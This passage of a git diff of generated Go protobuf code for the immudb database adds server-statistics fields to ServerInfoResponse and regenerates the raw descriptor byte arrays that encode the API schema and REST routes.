0x7b, 0x71, + 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, + 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x63, + 0x6f, 0x75, 0x6e, 0x74, 0x12, 0xab, 0x01, 0x0a, 0x0d, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x51, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x3d, 0x3a, 0x01, 0x2a, 0x22, 0x38, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2f, + 0x7b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x61, 0x75, 0x64, + 0x69, 0x74, 0x12, 0xab, 0x01, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x51, 0x92, + 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x3d, 0x3a, 0x01, 0x2a, 0x22, 0x38, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, + 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2f, 0x7b, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, + 0x42, 0xb0, 0x01, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, + 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, + 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, + 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, + 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, + 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, + 0x12, 0x00, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, + 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index 3ea976d8ff..528b62dfd6 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -15,7 +15,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.31.0 +// protoc-gen-go v1.32.0 // protoc v3.21.12 // source: schema.proto @@ -3391,6 +3391,14 @@ type ServerInfoResponse struct { // The version of the server instance. Version string `protobuf:"bytes,1,opt,name=version,proto3" json:"version,omitempty"` + // Unix timestamp (seconds) indicating when the server process has been started. + StartedAt int64 `protobuf:"varint,2,opt,name=startedAt,proto3" json:"startedAt,omitempty"` + // Total number of transactions across all databases. + NumTransactions int64 `protobuf:"varint,3,opt,name=numTransactions,proto3" json:"numTransactions,omitempty"` + // Total number of databases present. + NumDatabases int32 `protobuf:"varint,4,opt,name=numDatabases,proto3" json:"numDatabases,omitempty"` + // Total disk size used by all databases. + DatabasesDiskSize int64 `protobuf:"varint,5,opt,name=databasesDiskSize,proto3" json:"databasesDiskSize,omitempty"` } func (x *ServerInfoResponse) Reset() { @@ -3432,6 +3440,34 @@ func (x *ServerInfoResponse) GetVersion() string { return "" } +func (x *ServerInfoResponse) GetStartedAt() int64 { + if x != nil { + return x.StartedAt + } + return 0 +} + +func (x *ServerInfoResponse) GetNumTransactions() int64 { + if x != nil { + return x.NumTransactions + } + return 0 +} + +func (x *ServerInfoResponse) GetNumDatabases() int32 { + if x != nil { + return x.NumDatabases + } + return 0 +} + +func (x *ServerInfoResponse) GetDatabasesDiskSize() int64 { + if x != nil { + return x.DatabasesDiskSize + } + return 0 +} + type HealthResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -9195,1304 +9231,1314 @@ var file_schema_proto_rawDesc = []byte{ 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x13, 0x0a, 0x11, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, - 0x2e, 0x0a, 0x12, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, - 0x42, 0x0a, 0x0e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, - 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, - 0x69, 0x6f, 0x6e, 0x22, 0x7a, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, - 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x28, 0x0a, - 0x0f, 0x70, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, 0x70, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x12, 0x36, 0x0a, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, - 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x22, - 0xe0, 0x01, 0x0a, 0x0e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, - 0x74, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x64, 0x62, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, - 0x64, 0x62, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x78, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x04, 0x74, 0x78, 0x49, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x12, 0x36, - 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, - 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, - 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, - 0x49, 0x64, 0x12, 0x2e, 0x0a, 0x12, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, - 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, 0x73, 0x68, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x12, - 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, - 0x73, 0x68, 0x22, 0xd5, 0x01, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x66, - 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x0d, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x4b, 0x65, 0x79, 0x12, - 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, - 0x74, 0x54, 0x78, 0x12, 0x1a, 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, - 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, - 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, - 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, - 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x8d, 0x01, 0x0a, 0x1a, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, - 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x4b, 0x0a, 0x10, 0x72, 0x65, 0x66, - 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x52, 0x10, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, - 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, - 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x8f, 0x01, 0x0a, 0x0b, 0x5a, - 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, - 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, - 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, - 0x72, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x1a, 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, - 0x64, 0x52, 0x65, 0x66, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, - 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x1d, 0x0a, 0x05, - 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x22, 0xf2, 0x02, 0x0a, 0x0c, - 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, - 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x18, - 0x0a, 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x65, 0x65, 0x6b, - 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x01, 0x52, 0x09, 0x73, 0x65, 0x65, - 0x6b, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, - 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, - 0x54, 0x78, 0x12, 0x24, 0x0a, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, - 0x65, 0x65, 0x6b, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, - 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, - 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, - 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, - 0x73, 0x63, 0x12, 0x30, 0x0a, 0x08, 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x08, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x69, 0x6e, 0x53, - 0x63, 0x6f, 0x72, 0x65, 0x12, 0x30, 0x0a, 0x08, 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, - 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x61, - 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, - 0x78, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, - 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, - 0x65, 0x74, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, - 0x22, 0x7e, 0x0a, 0x0e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, + 0xc8, 0x01, 0x0a, 0x12, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, + 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, + 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x03, 0x52, 0x09, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x28, + 0x0a, 0x0f, 0x6e, 0x75, 0x6d, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x6e, 0x75, 0x6d, 0x54, 0x72, 0x61, 0x6e, + 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x6e, 0x75, 0x6d, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0c, + 0x6e, 0x75, 0x6d, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, + 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x44, 0x69, 0x73, 0x6b, 0x53, 0x69, 0x7a, + 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x11, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x73, 0x44, 0x69, 0x73, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x42, 0x0a, 0x0e, 0x48, 0x65, + 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x16, 0x0a, 0x06, + 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x73, 0x74, + 0x61, 0x74, 0x75, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x7a, + 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x65, 0x6e, 0x64, + 0x69, 0x6e, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x0f, 0x70, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x73, 0x12, 0x36, 0x0a, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x43, + 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x0e, 0x49, + 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x0e, 0x0a, + 0x02, 0x64, 0x62, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x64, 0x62, 0x12, 0x12, 0x0a, + 0x04, 0x74, 0x78, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x74, 0x78, 0x49, + 0x64, 0x12, 0x16, 0x0a, 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, + 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, + 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, + 0x65, 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, + 0x64, 0x54, 0x78, 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x10, 0x70, 0x72, 0x65, + 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x64, 0x12, 0x2e, 0x0a, + 0x12, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, + 0x61, 0x73, 0x68, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x12, 0x70, 0x72, 0x65, 0x63, 0x6f, + 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, 0x73, 0x68, 0x22, 0xd5, 0x01, + 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 